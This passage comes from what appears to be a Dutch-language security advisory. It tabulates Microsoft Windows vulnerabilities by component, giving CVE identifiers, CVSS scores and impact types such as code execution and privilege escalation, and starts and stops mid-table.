CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| 